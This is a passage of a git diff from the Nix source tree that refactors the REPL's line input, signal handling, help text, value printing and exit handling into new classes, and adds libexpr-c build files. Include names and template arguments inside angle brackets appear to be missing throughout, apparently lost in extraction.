throw SysError("restoring handler for SIGINT"); + }; + + setupSignals(); +#endif + char * s = readline(promptForType(promptType)); + Finally doFree([&]() { free(s); }); +#ifndef _WIN32 // TODO use more signals.hh for this + restoreSignals(); +#endif + + if (g_signal_received) { + g_signal_received = 0; + input.clear(); + return true; + } + + // editline doesn't echo the input to the output when non-interactive, unlike readline + // this results in a different behavior when running tests. The echoing is + // quite useful for reading the test output, so we add it here. + if (auto e = getEnv("_NIX_TEST_REPL_ECHO"); s && e && *e == "1") + { +#ifndef USE_READLINE + // This is probably not right for multi-line input, but we don't use that + // in the characterisation tests, so it's fine. + std::cout << promptForType(promptType) << s << std::endl; +#endif + } + + if (!s) + return false; + input += s; + input += '\n'; + + return true; +} + +ReadlineLikeInteracter::~ReadlineLikeInteracter() +{ + write_history(historyFile.c_str()); +} + +}; diff --git a/src/libcmd/repl-interacter.hh b/src/libcmd/repl-interacter.hh new file mode 100644 index 000000000..cc70efd07 --- /dev/null +++ b/src/libcmd/repl-interacter.hh @@ -0,0 +1,48 @@ +#pragma once +/// @file + +#include "finally.hh" +#include "types.hh" +#include +#include + +namespace nix { + +namespace detail { +/** Provides the completion hooks for the repl, without exposing its complete + * internals. */ +struct ReplCompleterMixin { + virtual StringSet completePrefix(const std::string & prefix) = 0; +}; +}; + +enum class ReplPromptType { + ReplPrompt, + ContinuationPrompt, +}; + +class ReplInteracter +{ +public: + using Guard = Finally>; + + virtual Guard init(detail::ReplCompleterMixin * repl) = 0; + /** Returns a boolean of whether the interacter got EOF */ + virtual bool getLine(std::string & input, ReplPromptType promptType) = 0; + virtual ~ReplInteracter(){}; +}; + +class ReadlineLikeInteracter : public virtual ReplInteracter +{ + std::string historyFile; +public: + ReadlineLikeInteracter(std::string historyFile) + : historyFile(historyFile) + { + } + virtual Guard init(detail::ReplCompleterMixin * repl) override; + virtual bool getLine(std::string & input, ReplPromptType promptType) override; + virtual ~ReadlineLikeInteracter() override; +}; + +}; diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 5400fcd69..e7c43367c 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -1,62 +1,73 @@ #include #include #include -#include -#include - -#ifdef READLINE -#include -#include -#else -// editline < 1.15.2 don't wrap their API for C++ usage -// (added in https://github.com/troglobit/editline/commit/91398ceb3427b730995357e9d120539fb9bb7461). -// This results in linker errors due to to name-mangling of editline C symbols. -// For compatibility with these versions, we wrap the API here -// (wrapping multiple times on newer versions is no problem). -extern "C" { -#include -} -#endif +#include "repl-interacter.hh" +#include "repl.hh" #include "ansicolor.hh" #include "shared.hh" #include "eval.hh" -#include "eval-cache.hh" -#include "eval-inline.hh" +#include "eval-settings.hh" #include "attr-path.hh" +#include "signals.hh" #include "store-api.hh" #include "log-store.hh" #include "common-eval-args.hh" #include "get-drvs.hh" #include "derivations.hh" #include "globals.hh" -#include "command.hh" +#include "flake/flake.hh" +#include "flake/lockfile.hh" +#include "users.hh" +#include "editor-for.hh" #include "finally.hh" #include "markdown.hh" #include "local-fs-store.hh" -#include "progress-bar.hh" +#include "print.hh" +#include "ref.hh" +#include "value.hh" #if HAVE_BOEHMGC #define GC_INCLUDE_NEW #include #endif +#include "strings.hh" + namespace nix { +/** + * Returned by `NixRepl::processLine`. + */ +enum class ProcessLineResult { + /** + * The user exited with `:quit`. The REPL should exit. The surrounding + * program or evaluation (e.g., if the REPL was acting as the debugger) + * should also exit. + */ + Quit, + /** + * The user exited with `:continue`. The REPL should exit, but the program + * should continue running. + */ + Continue, + /** + * The user did not exit. The REPL should request another line of input. + */ + PromptAgain, +}; + struct NixRepl + : AbstractNixRepl + , detail::ReplCompleterMixin #if HAVE_BOEHMGC - : gc + , gc #endif { - std::string curDir; - ref state; - Bindings * autoArgs; - size_t debugTraceIndex; Strings loadedFiles; - typedef std::vector> AnnotatedValues; std::function getValues; const static int envSize = 32768; @@ -65,20 +76,25 @@ struct NixRepl int displ; StringSet varNames; - const Path historyFile; + RunNix * runNixPtr; - NixRepl(const Strings & searchPath, nix::ref store,ref state, - std::function getValues); - ~NixRepl(); - void mainLoop(); - StringSet completePrefix(const std::string & prefix); - bool getLine(std::string & input, const std::string & prompt); + void runNix(Path program, const Strings & args, const std::optional & input = {}); + + std::unique_ptr interacter; + + NixRepl(const LookupPath & lookupPath, nix::ref store,ref state, + std::function getValues, RunNix * runNix); + virtual ~NixRepl() = default; + + ReplExitStatus mainLoop() override; + void initEnv() override; + + virtual StringSet completePrefix(const std::string & prefix) override; StorePath getDerivationPath(Value & v); - bool processLine(std::string line); + ProcessLineResult processLine(std::string line); void loadFile(const Path & path); void loadFlake(const std::string & flakeRef); - void initEnv(); void loadFiles(); void reloadFiles(); void addAttrsToScope(Value & attrs); @@ -87,12 +103,21 @@ struct NixRepl void evalString(std::string s, Value & v); void loadDebugTraceEnv(DebugTrace & dt); - typedef std::set ValuesSeen; - std::ostream & printValue(std::ostream & str, Value & v, unsigned int maxDepth); - std::ostream & printValue(std::ostream & str, Value & v, unsigned int maxDepth, ValuesSeen & seen); + void printValue(std::ostream & str, + Value & v, + unsigned int maxDepth = std::numeric_limits::max()) + { + ::nix::printValue(*state, str, v, PrintOptions { + .ansiColors = true, + .force = true, + .derivationPaths = true, + .maxDepth = maxDepth, + .prettyIndent = 2, + .errors = ErrorPrintBehavior::ThrowTopLevel, + }); + } }; - std::string removeWhitespace(std::string s) { s = chomp(s); @@ -102,110 +127,15 @@ std::string removeWhitespace(std::string s) } -NixRepl::NixRepl(const Strings & searchPath, nix::ref store, ref state, - std::function getValues) - : state(state) +NixRepl::NixRepl(const LookupPath & lookupPath, nix::ref store, ref state, + std::function getValues, RunNix * runNix = nullptr) + : AbstractNixRepl(state) , debugTraceIndex(0) , getValues(getValues) - , staticEnv(new StaticEnv(false, state->staticBaseEnv.get())) - , historyFile(getDataDir() + "/nix/repl-history") + , staticEnv(new StaticEnv(nullptr, state->staticBaseEnv.get())) + , runNixPtr{runNix} + , interacter(make_unique(getDataDir() + "/nix/repl-history")) { - curDir = absPath("."); -} - - -NixRepl::~NixRepl() -{ - write_history(historyFile.c_str()); -} - -void runNix(Path program, const Strings & args, - const std::optional & input = {}) -{ - auto subprocessEnv = getEnv(); - subprocessEnv["NIX_CONFIG"] = globalConfig.toKeyValue(); - - runProgram2(RunOptions { - .program = settings.nixBinDir+ "/" + program, - .args = args, - .environment = subprocessEnv, - .input = input, - }); - - return; -} - -static NixRepl * curRepl; // ugly - -static char * completionCallback(char * s, int *match) { - auto possible = curRepl->completePrefix(s); - if (possible.size() == 1) { - *match = 1; - auto *res = strdup(possible.begin()->c_str() + strlen(s)); - if (!res) throw Error("allocation failure"); - return res; - } else if (possible.size() > 1) { - auto checkAllHaveSameAt = [&](size_t pos) { - auto &first = *possible.begin(); - for (auto &p : possible) { - if (p.size() <= pos || p[pos] != first[pos]) - return false; - } - return true; - }; - size_t start = strlen(s); - size_t len = 0; - while (checkAllHaveSameAt(start + len)) ++len; - if (len > 0) { - *match = 1; - auto *res = strdup(std::string(*possible.begin(), start, len).c_str()); - if (!res) throw Error("allocation failure"); - return res; - } - } - - *match = 0; - return nullptr; -} - -static int listPossibleCallback(char *s, char ***avp) { - auto possible = curRepl->completePrefix(s); - - if (possible.size() > (INT_MAX / sizeof(char*))) - throw Error("too many completions"); - - int ac = 0; - char **vp = nullptr; - - auto check = [&](auto *p) { - if (!p) { - if (vp) { - while (--ac >= 0) - free(vp[ac]); - free(vp); - } - throw Error("allocation failure"); - } - return p; - }; - - vp = check((char **)malloc(possible.size() * sizeof(char*))); - - for (auto & p : possible) - vp[ac++] = check(strdup(p.c_str())); - - *avp = vp; - - return ac; -} - -namespace { - // Used to communicate to NixRepl::getLine whether a signal occurred in ::readline. - volatile sig_atomic_t g_signal_received = 0; - - void sigintHandler(int signo) { - g_signal_received = signo; - } } static std::ostream & showDebugTrace(std::ostream & out, const PosTable & positions, const DebugTrace & dt) @@ -217,10 +147,10 @@ static std::ostream & showDebugTrace(std::ostream & out, const PosTable & positi // prefer direct pos, but if noPos then try the expr. auto pos = dt.pos ? dt.pos - : static_cast>(positions[dt.expr.getPos() ? dt.expr.getPos() : noPos]); + : positions[dt.expr.getPos() ? dt.expr.getPos() : noPos]; if (pos) { - out << pos; + out << *pos; if (auto loc = pos->getCodeLines()) { out << "\n"; printCodeLines(out, "", *pos, *loc); @@ -231,48 +161,51 @@ static std::ostream & showDebugTrace(std::ostream & out, const PosTable & positi return out; } -void NixRepl::mainLoop() +static bool isFirstRepl = true; + +ReplExitStatus NixRepl::mainLoop() { - std::string error = ANSI_RED "error:" ANSI_NORMAL " "; - notice("Welcome to Nix " + nixVersion + ". Type :? for help.\n"); + if (isFirstRepl) { + std::string_view debuggerNotice = ""; + if (state->debugRepl) { + debuggerNotice = " debugger"; + } + notice("Nix %1%%2%\nType :? for help.", nixVersion, debuggerNotice); + } + + isFirstRepl = false; loadFiles(); - // Allow nix-repl specific settings in .inputrc - rl_readline_name = "nix-repl"; - try { - createDirs(dirOf(historyFile)); - } catch (SysError & e) { - logWarning(e.info()); - } -#ifndef READLINE - el_hist_size = 1000; -#endif - read_history(historyFile.c_str()); - curRepl = this; -#ifndef READLINE - rl_set_complete_func(completionCallback); - rl_set_list_possib_func(listPossibleCallback); -#endif - - /* Stop the progress bar because it interferes with the display of - the repl. */ - stopProgressBar(); + auto _guard = interacter->init(static_cast(this)); std::string input; while (true) { + // Hide the progress bar while waiting for user input, so that it won't interfere. + logger->pause(); // When continuing input from previous lines, don't print a prompt, just align to the same // number of chars as the prompt. - if (!getLine(input, input.empty() ? "nix-repl> " : " ")) { - // ctrl-D should exit the debugger. + if (!interacter->getLine(input, input.empty() ? ReplPromptType::ReplPrompt : ReplPromptType::ContinuationPrompt)) { + // Ctrl-D should exit the debugger. state->debugStop = false; - state->debugQuit = true; logger->cout(""); - break; + // TODO: Should Ctrl-D exit just the current debugger session or + // the entire program? + return ReplExitStatus::QuitAll; } + logger->resume(); try { - if (!removeWhitespace(input).empty() && !processLine(input)) return; + switch (processLine(input)) { + case ProcessLineResult::Quit: + return ReplExitStatus::QuitAll; + case ProcessLineResult::Continue: + return ReplExitStatus::Continue; + case ProcessLineResult::PromptAgain: + break; + default: + unreachable(); + } } catch (ParseError & e) { if (e.msg().find("unexpected end of file") != std::string::npos) { // For parse errors on incomplete input, we continue waiting for the next line of @@ -282,13 +215,7 @@ void NixRepl::mainLoop() printMsg(lvlError, e.msg()); } } catch (EvalError & e) { - // in debugger mode, an EvalError should trigger another repl session. - // when that session returns the exception will land here. No need to show it again; - // show the error for this repl session instead. - if (state->debugRepl && !state->debugTraces.empty()) - showDebugTrace(std::cout, state->positions, state->debugTraces.front()); - else - printMsg(lvlError, e.msg()); + printMsg(lvlError, e.msg()); } catch (Error & e) { printMsg(lvlError, e.msg()); } catch (Interrupted & e) { @@ -302,52 +229,6 @@ void NixRepl::mainLoop() } } - -bool NixRepl::getLine(std::string & input, const std::string & prompt) -{ - struct sigaction act, old; - sigset_t savedSignalMask, set; - - auto setupSignals = [&]() { - act.sa_handler = sigintHandler; - sigfillset(&act.sa_mask); - act.sa_flags = 0; - if (sigaction(SIGINT, &act, &old)) - throw SysError("installing handler for SIGINT"); - - sigemptyset(&set); - sigaddset(&set, SIGINT); - if (sigprocmask(SIG_UNBLOCK, &set, &savedSignalMask)) - throw SysError("unblocking SIGINT"); - }; - auto restoreSignals = [&]() { - if (sigprocmask(SIG_SETMASK, &savedSignalMask, nullptr)) - throw SysError("restoring signals"); - - if (sigaction(SIGINT, &old, 0)) - throw SysError("restoring handler for SIGINT"); - }; - - setupSignals(); - Finally resetTerminal([&]() { rl_deprep_terminal(); }); - char * s = readline(prompt.c_str()); - Finally doFree([&]() { free(s); }); - restoreSignals(); - - if (g_signal_received) { - g_signal_received = 0; - input.clear(); - return true; - } - - if (!s) - return false; - input += s; - input += '\n'; - return true; -} - - StringSet NixRepl::completePrefix(const std::string & prefix) { StringSet completions; @@ -368,11 +249,14 @@ StringSet NixRepl::completePrefix(const std::string & prefix) try { auto dir = std::string(cur, 0, slash); auto prefix2 = std::string(cur, slash + 1); - for (auto & entry : readDirectory(dir == "" ? "/" : dir)) { - if (entry.name[0] != '.' && hasPrefix(entry.name, prefix2)) - completions.insert(prev + dir + "/" + entry.name); + for (auto & entry : std::filesystem::directory_iterator{dir == "" ? "/" : dir}) { + checkInterrupt(); + auto name = entry.path().filename().string(); + if (name[0] != '.' && hasPrefix(name, prefix2)) + completions.insert(prev + entry.path().string()); } } catch (Error &) { + } catch (std::filesystem::filesystem_error &) { } } else if ((dot = cur.rfind('.')) == std::string::npos) { /* This is a variable name; look it up in the current scope. */ @@ -397,9 +281,9 @@ StringSet NixRepl::completePrefix(const std::string & prefix) Expr * e = parseString(expr); Value v; e->eval(*state, *env, v); - state->forceAttrs(v, noPos); + state->forceAttrs(v, noPos, "while evaluating an attrset for the purpose of completion (this error should not be displayed; file an issue?)"); - for (auto & i : *v.attrs) { + for (auto & i : *v.attrs()) { std::string_view name = state->symbols[i.name]; if (name.substr(0, cur2.size()) != cur2) continue; completions.insert(concatStrings(prev, expr, ".", name)); @@ -409,10 +293,10 @@ StringSet NixRepl::completePrefix(const std::string & prefix) // Quietly ignore parse errors. } catch (EvalError & e) { // Quietly ignore evaluation errors. - } catch (UndefinedVarError & e) { - // Quietly ignore undefined variable errors. } catch (BadURL & e) { // Quietly ignore BadURL flake-related errors. + } catch (FileNotFound & e) { + // Quietly ignore non-existent file beeing `import`-ed. } } @@ -420,6 +304,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix) } +// FIXME: DRY and match or use the parser static bool isVarName(std::string_view s) { if (s.size() == 0) return false; @@ -436,10 +321,10 @@ static bool isVarName(std::string_view s) StorePath NixRepl::getDerivationPath(Value & v) { - auto drvInfo = getDerivation(*state, v, false); - if (!drvInfo) + auto packageInfo = getDerivation(*state, v, false); + if (!packageInfo) throw Error("expression does not evaluate to a derivation, so I can't build it"); - auto drvPath = drvInfo->queryDrvPath(); + auto drvPath = packageInfo->queryDrvPath(); if (!drvPath) throw Error("expression did not evaluate to a valid derivation (no 'drvPath' attribute)"); if (!state->store->isValidPath(*drvPath)) @@ -461,12 +346,13 @@ void NixRepl::loadDebugTraceEnv(DebugTrace & dt) } } -bool NixRepl::processLine(std::string line) +ProcessLineResult NixRepl::processLine(std::string line) { line = trim(line); - if (line == "") return true; + if (line.empty()) + return ProcessLineResult::PromptAgain; - _isInterrupted = false; + setInterrupted(false); std::string command, arg; @@ -483,35 +369,41 @@ bool NixRepl::processLine(std::string line) std::cout << "The following commands are available:\n" << "\n" - << " Evaluate and print expression\n" - << " = Bind expression to variable\n" - << " :a Add attributes from resulting set to scope\n" - << " :b Build a derivation\n" - << " :bl Build a derivation, creating GC roots in the working directory\n" - << " :e Open package or function in $EDITOR\n" - << " :i Build derivation, then install result into current profile\n" - << " :l Load Nix expression and add it to scope\n" - << " :lf Load Nix flake and add it to scope\n" - << " :p Evaluate and print expression recursively\n" - << " :q Exit nix-repl\n" - << " :r Reload all files\n" - << " :sh Build dependencies of derivation, then start nix-shell\n" - << " :t Describe result of evaluation\n" - << " :u Build derivation, then start nix-shell\n" - << " :doc Show documentation of a builtin function\n" - << " :log Show logs for a derivation\n" - << " :te [bool] Enable, disable or toggle showing traces for errors\n" + << " Evaluate and print expression\n" + << " = Bind expression to variable\n" + << " :a, :add Add attributes from resulting set to scope\n" + << " :b Build a derivation\n" + << " :bl Build a derivation, creating GC roots in the\n" + << " working directory\n" + << " :e, :edit Open package or function in $EDITOR\n" + << " :i Build derivation, then install result into\n" + << " current profile\n" + << " :l, :load Load Nix expression and add it to scope\n" + << " :lf, :load-flake Load Nix flake and add it to scope\n" + << " :p, :print Evaluate and print expression recursively\n" + << " Strings are printed directly, without escaping.\n" + << " :q, :quit Exit nix-repl\n" + << " :r, :reload Reload all files\n" + << " :sh Build dependencies of derivation, then start\n" + << " nix-shell\n" + << " :t Describe result of evaluation\n" + << " :u Build derivation, then start nix-shell\n" + << " :doc Show documentation of a builtin function\n" + << " :log Show logs for a derivation\n" + << " :te, :trace-enable [bool] Enable, disable or toggle showing traces for\n" + << " errors\n" + << " :?, :help Brings up this help menu\n" ; if (state->debugRepl) { std::cout << "\n" << " Debug mode commands\n" - << " :env Show env stack\n" - << " :bt Show trace stack\n" - << " :st Show current trace\n" - << " :st Change to another trace in the stack\n" - << " :c Go until end of program, exception, or builtins.break\n" - << " :s Go one step\n" + << " :env Show env stack\n" + << " :bt, :backtrace Show trace stack\n" + << " :st Show current trace\n" + << " :st Change to another trace in the stack\n" + << " :c, :continue Go until end of program, exception, or builtins.break\n" + << " :s, :step Go one step\n" ; } @@ -554,13 +446,13 @@ bool NixRepl::processLine(std::string line) else if (state->debugRepl && (command == ":s" || command == ":step")) { // set flag to stop at next DebugTrace; exit repl. state->debugStop = true; - return false; + return ProcessLineResult::Continue; } else if (state->debugRepl && (command == ":c" || command == ":continue")) { // set flag to run to next breakpoint or end of program; exit repl. state->debugStop = false; - return false; + return ProcessLineResult::Continue; } else if (command == ":a" || command == ":add") { @@ -587,14 +479,14 @@ bool NixRepl::processLine(std::string line) Value v; evalString(arg, v); - const auto [path, line] = [&] () -> std::pair { + const auto [path, line] = [&] () -> std::pair { if (v.type() == nPath || v.type() == nString) { - PathSet context; - auto path = state->coerceToPath(noPos, v, context); + NixStringContext context; + auto path = state->coerceToPath(noPos, v, context, "while evaluating the filename to edit"); return {path, 0}; } else if (v.isLambda()) { - auto pos = state->positions[v.lambda.fun->pos]; - if (auto path = std::get_if(&pos.origin)) + auto pos = state->positions[v.payload.lambda.fun->pos]; + if (auto path = std::get_if(&pos.origin)) return {*path, pos.line}; else throw Error("'%s' cannot be shown in an editor", pos); @@ -611,7 +503,7 @@ bool NixRepl::processLine(std::string line) // runProgram redirects stdout to a StringSink, // using runProgram2 to allow editors to display their UI - runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }); + runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args , .isInteractive = true }); // Reload right after exiting the editor state->resetFileCache(); @@ -641,7 +533,12 @@ bool NixRepl::processLine(std::string line) Path drvPathRaw = state->store->printStorePath(drvPath); if (command == ":b" || command == ":bl") { - state->store->buildPaths({DerivedPath::Built{drvPath}}); + state->store->buildPaths({ + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = OutputsSpec::All { }, + }, + }); auto drv = state->store->readDerivation(drvPath); logger->cout("\nThis derivation produced the following outputs:"); for (auto & [outputName, outputPath] : state->store->queryDerivationOutputMap(drvPath)) { @@ -692,17 +589,50 @@ bool NixRepl::processLine(std::string line) else if (command == ":p" || command == ":print") { Value v; evalString(arg, v); - printValue(std::cout, v, 1000000000) << std::endl; + if (v.type() == nString) { + std::cout << v.string_view(); + } else { + printValue(std::cout, v); + } + std::cout << std::endl; } else if (command == ":q" || command == ":quit") { state->debugStop = false; - state->debugQuit = true; - return false; + return ProcessLineResult::Quit; } else if (command == ":doc") { Value v; + + auto expr = parseString(arg); + std::string fallbackName; + PosIdx fallbackPos; + DocComment fallbackDoc; + if (auto select = dynamic_cast(expr)) { + Value vAttrs; + auto name = select->evalExceptFinalSelect(*state, *env, vAttrs); + fallbackName = state->symbols[name]; + + state->forceAttrs(vAttrs, noPos, "while evaluating an attribute set to look for documentation"); + auto attrs = vAttrs.attrs(); + assert(attrs); + auto attr = attrs->get(name); + if (!attr) { + // When missing, trigger the normal exception + // e.g. :doc builtins.foo + // behaves like + // nix-repl> builtins.foo + // error: attribute 'foo' missing + evalString(arg, v); + assert(false); + } + if (attr->pos) { + fallbackPos = attr->pos; + fallbackDoc = state->getDocCommentForPos(fallbackPos); + } + } + evalString(arg, v); if (auto doc = state->getDoc(v)) { std::string markdown; @@ -720,6 +650,19 @@ bool NixRepl::processLine(std::string line) markdown += stripIndentation(doc->doc); logger->cout(trim(renderMarkdownToTerminal(markdown))); + } else if (fallbackPos) { + std::stringstream ss; + ss << "Attribute `" << fallbackName << "`\n\n"; + ss << " … defined at " << state->positions[fallbackPos] << "\n\n"; + if (fallbackDoc) { + ss << fallbackDoc.getInnerText(state->positions); + } else { + ss << "No documentation found.\n\n"; + } + + auto markdown = ss.str(); + logger->cout(trim(renderMarkdownToTerminal(markdown))); + } else throw Error("value does not have documentation"); } @@ -754,11 +697,12 @@ bool NixRepl::processLine(std::string line) } else { Value v; evalString(line, v); - printValue(std::cout, v, 1) << std::endl; + printValue(std::cout, v, 1); + std::cout << std::endl; } } - return true; + return ProcessLineResult::PromptAgain; } void NixRepl::loadFile(const Path & path) @@ -776,14 +720,14 @@ void NixRepl::loadFlake(const std::string & flakeRefS) if (flakeRefS.empty()) throw Error("cannot use ':load-flake' without a path specified. (Use '.' for the current working directory.)"); - auto flakeRef = parseFlakeRef(flakeRefS, absPath("."), true); + auto flakeRef = parseFlakeRef(fetchSettings, flakeRefS, absPath("."), true); if (evalSettings.pureEval && !flakeRef.input.isLocked()) throw Error("cannot use ':load-flake' on locked flake reference '%s' (use --impure to override)", flakeRefS); Value v; flake::callFlake(*state, - flake::lockFlake(*state, flakeRef, + flake::lockFlake(flakeSettings, *state, flakeRef, flake::LockFlags { .updateLockFile = false, .useRegistries = !evalSettings.pureEval, @@ -834,18 +778,18 @@ void NixRepl::loadFiles() void NixRepl::addAttrsToScope(Value & attrs) { - state->forceAttrs(attrs, [&]() { return attrs.determinePos(noPos); }); - if (displ + attrs.attrs->size() >= envSize) + state->forceAttrs(attrs, [&]() { return attrs.determinePos(noPos); }, "while evaluating an attribute set to be merged in the global scope"); + if (displ + attrs.attrs()->size() >= envSize) throw Error("environment full; cannot add more variables"); - for (auto & i : *attrs.attrs) { + for (auto & i : *attrs.attrs()) { staticEnv->vars.emplace_back(i.name, displ); env->values[displ++] = i.value; varNames.emplace(state->symbols[i.name]); } staticEnv->sort(); staticEnv->deduplicate(); - notice("Added %1% variables.", attrs.attrs->size()); + notice("Added %1% variables.", attrs.attrs()->size()); } @@ -864,8 +808,7 @@ void NixRepl::addVarToScope(const Symbol name, Value & v) Expr * NixRepl::parseString(std::string s) { - Expr * e = state->parseExprFromString(std::move(s), curDir, staticEnv); - return e; + return state->parseExprFromString(std::move(s), state->rootPath("."), staticEnv); } @@ -873,168 +816,43 @@ void NixRepl::evalString(std::string s, Value & v) { Expr * e = parseString(s); e->eval(*state, *env, v); - state->forceValue(v, [&]() { return v.determinePos(noPos); }); + state->forceValue(v, v.determinePos(noPos)); } -std::ostream & NixRepl::printValue(std::ostream & str, Value & v, unsigned int maxDepth) +void NixRepl::runNix(Path program, const Strings & args, const std::optional & input) { - ValuesSeen seen; - return printValue(str, v, maxDepth, seen); + if (runNixPtr) + (*runNixPtr)(program, args, input); + else + throw Error("Cannot run '%s', no method of calling the Nix CLI provided", program); } -std::ostream & printStringValue(std::ostream & str, const char * string) { - str << "\""; - for (const char * i = string; *i; i++) - if (*i == '\"' || *i == '\\') str << "\\" << *i; - else if (*i == '\n') str << "\\n"; - else if (*i == '\r') str << "\\r"; - else if (*i == '\t') str << "\\t"; - else str << *i; - str << "\""; - return str; -} - - -// FIXME: lot of cut&paste from Nix's eval.cc. -std::ostream & NixRepl::printValue(std::ostream & str, Value & v, unsigned int maxDepth, ValuesSeen & seen) +std::unique_ptr AbstractNixRepl::create( + const LookupPath & lookupPath, nix::ref store, ref state, + std::function getValues, RunNix * runNix) { - str.flush(); - checkInterrupt(); - - state->forceValue(v, [&]() { return v.determinePos(noPos); }); - - switch (v.type()) { - - case nInt: - str << ANSI_CYAN << v.integer << ANSI_NORMAL; - break; - - case nBool: - str << ANSI_CYAN << (v.boolean ? "true" : "false") << ANSI_NORMAL; - break; - - case nString: - str << ANSI_WARNING; - printStringValue(str, v.string.s); - str << ANSI_NORMAL; - break; - - case nPath: - str << ANSI_GREEN << v.path << ANSI_NORMAL; // !!! escaping? - break; - - case nNull: - str << ANSI_CYAN "null" ANSI_NORMAL; - break; - - case nAttrs: { - seen.insert(&v); - - bool isDrv = state->isDerivation(v); - - if (isDrv) { - str << "«derivation "; - Bindings::iterator i = v.attrs->find(state->sDrvPath); - PathSet context; - if (i != v.attrs->end()) - str << state->store->printStorePath(state->coerceToStorePath(i->pos, *i->value, context)); - else - str << "???"; - str << "»"; - } - - else if (maxDepth > 0) { - str << "{ "; - - typedef std::map Sorted; - Sorted sorted; - for (auto & i : *v.attrs) - sorted.emplace(state->symbols[i.name], i.value); - - for (auto & i : sorted) { - if (isVarName(i.first)) - str << i.first; - else - printStringValue(str, i.first.c_str()); - str << " = "; - if (seen.count(i.second)) - str << "«repeated»"; - else - try { - printValue(str, *i.second, maxDepth - 1, seen); - } catch (AssertionError & e) { - str << ANSI_RED "«error: " << e.msg() << "»" ANSI_NORMAL; - } - str << "; "; - } - - str << "}"; - } else - str << "{ ... }"; - - break; - } - - case nList: - seen.insert(&v); - - str << "[ "; - if (maxDepth > 0) - for (auto elem : v.listItems()) { - if (seen.count(elem)) - str << "«repeated»"; - else - try { - printValue(str, *elem, maxDepth - 1, seen); - } catch (AssertionError & e) { - str << ANSI_RED "«error: " << e.msg() << "»" ANSI_NORMAL; - } - str << " "; - } - else - str << "... "; - str << "]"; - break; - - case nFunction: - if (v.isLambda()) { - std::ostringstream s; - s << state->positions[v.lambda.fun->pos]; - str << ANSI_BLUE "«lambda @ " << filterANSIEscapes(s.str()) << "»" ANSI_NORMAL; - } else if (v.isPrimOp()) { - str << ANSI_MAGENTA "«primop»" ANSI_NORMAL; - } else if (v.isPrimOpApp()) { - str << ANSI_BLUE "«primop-app»" ANSI_NORMAL; - } else { - abort(); - } - break; - - case nFloat: - str << v.fpoint; - break; - - default: - str << ANSI_RED "«unknown»" ANSI_NORMAL; - break; - } - - return str; + return std::make_unique( + lookupPath, + openStore(), + state, + getValues + ); } -void runRepl( - refevalState, + +ReplExitStatus AbstractNixRepl::runSimple( + ref evalState, const ValMap & extraEnv) { auto getValues = [&]()->NixRepl::AnnotatedValues{ NixRepl::AnnotatedValues values; return values; }; - const Strings & searchPath = {}; + LookupPath lookupPath = {}; auto repl = std::make_unique( - searchPath, + lookupPath, openStore(), evalState, getValues @@ -1046,94 +864,7 @@ void runRepl( for (auto & [name, value] : extraEnv) repl->addVarToScope(repl->state->symbols.create(name), *value); - repl->mainLoop(); + return repl->mainLoop(); } -struct CmdRepl : InstallablesCommand -{ - CmdRepl() { - evalSettings.pureEval = false; - } - - void prepare() override - { - if (!settings.isExperimentalFeatureEnabled(Xp::ReplFlake) && !(file) && this->_installables.size() >= 1) { - warn("future versions of Nix will require using `--file` to load a file"); - if (this->_installables.size() > 1) - warn("more than one input file is not currently supported"); - auto filePath = this->_installables[0].data(); - file = std::optional(filePath); - _installables.front() = _installables.back(); - _installables.pop_back(); - } - installables = InstallablesCommand::load(); - } - - std::vector files; - - Strings getDefaultFlakeAttrPaths() override - { - return {""}; - } - - bool useDefaultInstallables() override - { - return file.has_value() or expr.has_value(); - } - - bool forceImpureByDefault() override - { - return true; - } - - std::string description() override - { - return "start an interactive environment for evaluating Nix expressions"; - } - - std::string doc() override - { - return - #include "repl.md" - ; - } - - void run(ref store) override - { - auto state = getEvalState(); - auto getValues = [&]()->NixRepl::AnnotatedValues{ - auto installables = load(); - NixRepl::AnnotatedValues values; - for (auto & installable: installables){ - auto what = installable->what(); - if (file){ - auto [val, pos] = installable->toValue(*state); - auto what = installable->what(); - state->forceValue(*val, pos); - auto autoArgs = getAutoArgs(*state); - auto valPost = state->allocValue(); - state->autoCallFunction(*autoArgs, *val, *valPost); - state->forceValue(*valPost, pos); - values.push_back( {valPost, what }); - } else { - auto [val, pos] = installable->toValue(*state); - values.push_back( {val, what} ); - } - } - return values; - }; - auto repl = std::make_unique( - searchPath, - openStore(), - state, - getValues - ); - repl->autoArgs = getAutoArgs(*repl->state); - repl->initEnv(); - repl->mainLoop(); - } -}; - -static auto rCmdRepl = registerCommand("repl"); - } diff --git a/src/libcmd/repl.hh b/src/libcmd/repl.hh new file mode 100644 index 000000000..11d1820f5 --- /dev/null +++ b/src/libcmd/repl.hh @@ -0,0 +1,45 @@ +#pragma once +///@file + +#include "eval.hh" + +namespace nix { + +struct AbstractNixRepl +{ + ref state; + Bindings * autoArgs; + + AbstractNixRepl(ref state) + : state(state) + { } + + virtual ~AbstractNixRepl() + { } + + typedef std::vector> AnnotatedValues; + + using RunNix = void(Path program, const Strings & args, const std::optional & input); + + /** + * @param runNix Function to run the nix CLI to support various + * `:` commands. Optional; if not provided, + * everything else will still work fine, but those commands won't. + */ + static std::unique_ptr create( + const LookupPath & lookupPath, + nix::ref store, + ref state, + std::function getValues, + RunNix * runNix = nullptr); + + static ReplExitStatus runSimple( + ref evalState, + const ValMap & extraEnv); + + virtual void initEnv() = 0; + + virtual ReplExitStatus mainLoop() = 0; +}; + +} diff --git a/src/libexpr-c/.version b/src/libexpr-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libexpr-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libexpr-c/build-utils-meson b/src/libexpr-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libexpr-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libexpr-c/local.mk b/src/libexpr-c/local.mk new file mode 100644 index 000000000..227a4095b --- /dev/null +++ b/src/libexpr-c/local.mk @@ -0,0 +1,25 @@ +libraries += libexprc + +libexprc_NAME = libnixexprc + +libexprc_DIR := $(d) + +libexprc_SOURCES := \ + $(wildcard $(d)/*.cc) \ + +# Not just for this library itself, but also for downstream libraries using this library + 